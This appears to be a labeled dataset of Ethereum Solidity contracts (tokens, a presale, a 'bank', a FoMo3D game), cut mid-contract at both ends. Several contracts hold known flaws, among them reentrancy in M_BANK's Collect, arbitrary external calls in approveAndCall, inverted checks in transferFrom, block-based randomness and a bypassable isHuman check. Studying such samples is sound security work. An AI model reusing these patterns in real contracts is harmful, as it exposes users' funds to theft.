role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _BlacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender));
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _BlacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyBlacklistAdmin {
_addBlacklistAdmin(account);
}
function _addBlacklistAdmin(address account) internal {
_BlacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_BlacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract BlacklistedRole is BlacklistAdminRole {
using Roles for Roles.Role;
event BlacklistedAdded(address indexed account);
event BlacklistedRemoved(address indexed account);
Roles.Role private _Blacklisteds;
modifier onlyNotBlacklisted() {
require(!isBlacklisted(msg.sender));
_;
}
function isBlacklisted(address account) public view returns (bool) {
return _Blacklisteds.has(account);
}
function addBlacklisted(address account) public onlyBlacklistAdmin {
_addBlacklisted(account);
}
function removeBlacklisted(address account) public onlyBlacklistAdmin {
_removeBlacklisted(account);
}
function _addBlacklisted(address account) internal {
_Blacklisteds.add(account);
emit BlacklistedAdded(account);
}
function _removeBlacklisted(address account) internal {
_Blacklisteds.remove(account);
emit BlacklistedRemoved(account);
}
}
contract CNTToken is ERC20Detailed, ERC20Pausable, MinterRole, BlacklistedRole {
using SafeERC20 for ERC20;
bool bCalled;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 _totalSupply)
ERC20Pausable()
ERC20Detailed(name, symbol, decimals)
ERC20()
public
{
uint256 _totalSupplyWithDecimals = _totalSupply * 10 ** uint256(decimals);
mint(msg.sender, _totalSupplyWithDecimals);
bCalled = false;
}
function approveAndCall(
address _spender,
uint256 _value,
bytes memory _data
)
public
payable
onlyNotBlacklisted
whenNotPaused
returns (bool)
{
require(bCalled == false);
require(_spender != address(this));
require(approve(_spender, _value));
bCalled = true;
_spender.call.value(msg.value)(_data);
bCalled = false;
return true;
}
function transfer(address to, uint256 value) public onlyNotBlacklisted returns (bool) {
require(!isBlacklisted(to));
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public onlyNotBlacklisted returns (bool) {
require(!isBlacklisted(from));
require(!isBlacklisted(to));
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public onlyNotBlacklisted returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public onlyNotBlacklisted returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public onlyNotBlacklisted returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
function mint(address to, uint256 value) public onlyNotBlacklisted onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function sudoRetrieveFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter {
super._transfer(from, msg.sender, value);
}
function sudoBurnFrom(address from, uint256 value) public onlyNotBlacklisted onlyMinter {
_burn(from, value);
}
} | 1 | 3,798 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LunaToken is StandardToken {
string public constant name = "Luna Stars";
string public constant symbol = "LSTR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 38000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 1 | 3,342 |
pragma solidity ^0.4.10;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract UselessEthereumToken {
address owner = msg.sender;
bool public purchasingAllowed = false;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Sad Token"; }
function symbol() constant returns (string) { return "SAD"; }
function decimals() constant returns (uint8) { return 18; }
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value == 0) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value * 100);
if (msg.value >= 10 finney) {
tokensIssued += totalContribution;
bytes20 bonusHash = ripemd160(block.coinbase, block.number, block.timestamp);
if (bonusHash[0] == 0) {
uint8 bonusMultiplier =
((bonusHash[1] & 0x01 != 0) ? 1 : 0) + ((bonusHash[1] & 0x02 != 0) ? 1 : 0) +
((bonusHash[1] & 0x04 != 0) ? 1 : 0) + ((bonusHash[1] & 0x08 != 0) ? 1 : 0) +
((bonusHash[1] & 0x10 != 0) ? 1 : 0) + ((bonusHash[1] & 0x20 != 0) ? 1 : 0) +
((bonusHash[1] & 0x40 != 0) ? 1 : 0) + ((bonusHash[1] & 0x80 != 0) ? 1 : 0);
uint256 bonusTokensIssued = (msg.value * 100) * bonusMultiplier;
tokensIssued += bonusTokensIssued;
totalBonusTokensIssued += bonusTokensIssued;
}
}
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
} | 0 | 995 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract IMintableToken {
function mint(address _to, uint256 _amount) returns (bool);
function finishMinting() returns (bool);
}
contract PricingStrategy {
using SafeMath for uint;
uint public rate0;
uint public rate1;
uint public rate2;
uint public threshold1;
uint public threshold2;
uint public minimumWeiAmount;
function PricingStrategy(
uint _rate0,
uint _rate1,
uint _rate2,
uint _minimumWeiAmount,
uint _threshold1,
uint _threshold2
) {
require(_rate0 > 0);
require(_rate1 > 0);
require(_rate2 > 0);
require(_minimumWeiAmount > 0);
require(_threshold1 > 0);
require(_threshold2 > 0);
rate0 = _rate0;
rate1 = _rate1;
rate2 = _rate2;
minimumWeiAmount = _minimumWeiAmount;
threshold1 = _threshold1;
threshold2 = _threshold2;
}
function isPricingStrategy() public constant returns (bool) {
return true;
}
function calculateTokenAmount(uint weiAmount) public constant returns (uint tokenAmount) {
uint bonusRate = 0;
if (weiAmount >= minimumWeiAmount) {
bonusRate = rate0;
}
if (weiAmount >= threshold1) {
bonusRate = rate1;
}
if (weiAmount >= threshold2) {
bonusRate = rate2;
}
return weiAmount.mul(bonusRate);
}
}
contract Presale is Pausable {
using SafeMath for uint;
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 500;
IMintableToken public token;
PricingStrategy public pricingStrategy;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensHardCap;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Presale(
address _token,
address _pricingStrategy,
address _multisigWallet,
uint _start,
uint _end,
uint _tokensHardCap,
uint _minimumFundingGoal
) {
require(_token != 0);
require(_pricingStrategy != 0);
require(_multisigWallet != 0);
require(_start != 0);
require(_end != 0);
require(_start < _end);
require(_tokensHardCap != 0);
token = IMintableToken(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
tokensHardCap = _tokensHardCap;
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
invest(msg.sender);
}
function invest(address receiver) whenNotPaused payable {
if (getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else {
require(getState() == State.Funding);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount);
require(tokenAmount > 0);
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
require(!isBreakingCap(tokensSold));
token.mint(receiver, tokenAmount);
multisigWallet.transfer(weiAmount);
Invested(receiver, weiAmount, tokenAmount);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(address _pricingStrategy) onlyOwner {
pricingStrategy = PricingStrategy(_pricingStrategy);
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function getState() public constant returns (State) {
if (address(pricingStrategy) == 0)
return State.Preparing;
else if (block.timestamp < startsAt)
return State.PreFunding;
else if (block.timestamp <= endsAt && !isPresaleFull())
return State.Funding;
else if (isMinimumGoalReached())
return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised)
return State.Refunding;
else
return State.Failure;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isBreakingCap(uint tokensSoldTotal) constant returns (bool) {
return tokensSoldTotal > tokensHardCap;
}
function isPresaleFull() public constant returns (bool) {
return tokensSold >= tokensHardCap;
}
modifier inState(State state) {
require(getState() == state);
_;
}
} | 0 | 1,981 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract SLP is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function SLP() {
balances[msg.sender] = 9900000000000000000000000000;
totalSupply = 9900000000000000000000000000;
name = "SolarPower";
decimals = 18;
symbol = "SLP";
unitsOneEthCanBuy = 5000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,297 |
pragma solidity ^0.4.25;
contract M_BANK
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 1 ether;
function M_BANK(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 0 | 161 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents { }
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address private otherF3D_;
uint8 private rSees_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xED8c249B7EB8d5b3cF7e0d6CcFA270249f7C0CeF);
string constant public name = "Gold medal winner Official";
string constant public symbol = "Gold";
uint256 private rndExtra_ = 60;
uint256 private rndGap_ = 60;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
address constant private ceo = 0x918b8dc988e3702DA4625d69E3D043E8aA9358e6;
address constant private cfo = 0xCC221D6154A5091919240b36d476C2BdeAf246BD;
address constant private coo = 0x139aAc9edD31015327394160516C26E8f3Ee06AB;
address constant private cto = 0xDe0015b72D1dC1F32768Dc1983788F4c32F70f05;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(48,0);
fees_[1] = F3Ddatasets.TeamFee(28,0);
fees_[2] = F3Ddatasets.TeamFee(18,0);
fees_[3] = F3Ddatasets.TeamFee(38,0);
potSplit_[0] = F3Ddatasets.PotSplit(38,0);
potSplit_[1] = F3Ddatasets.PotSplit(28,0);
potSplit_[2] = F3Ddatasets.PotSplit(23,0);
potSplit_[3] = F3Ddatasets.PotSplit(33,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 100000000000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 0, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
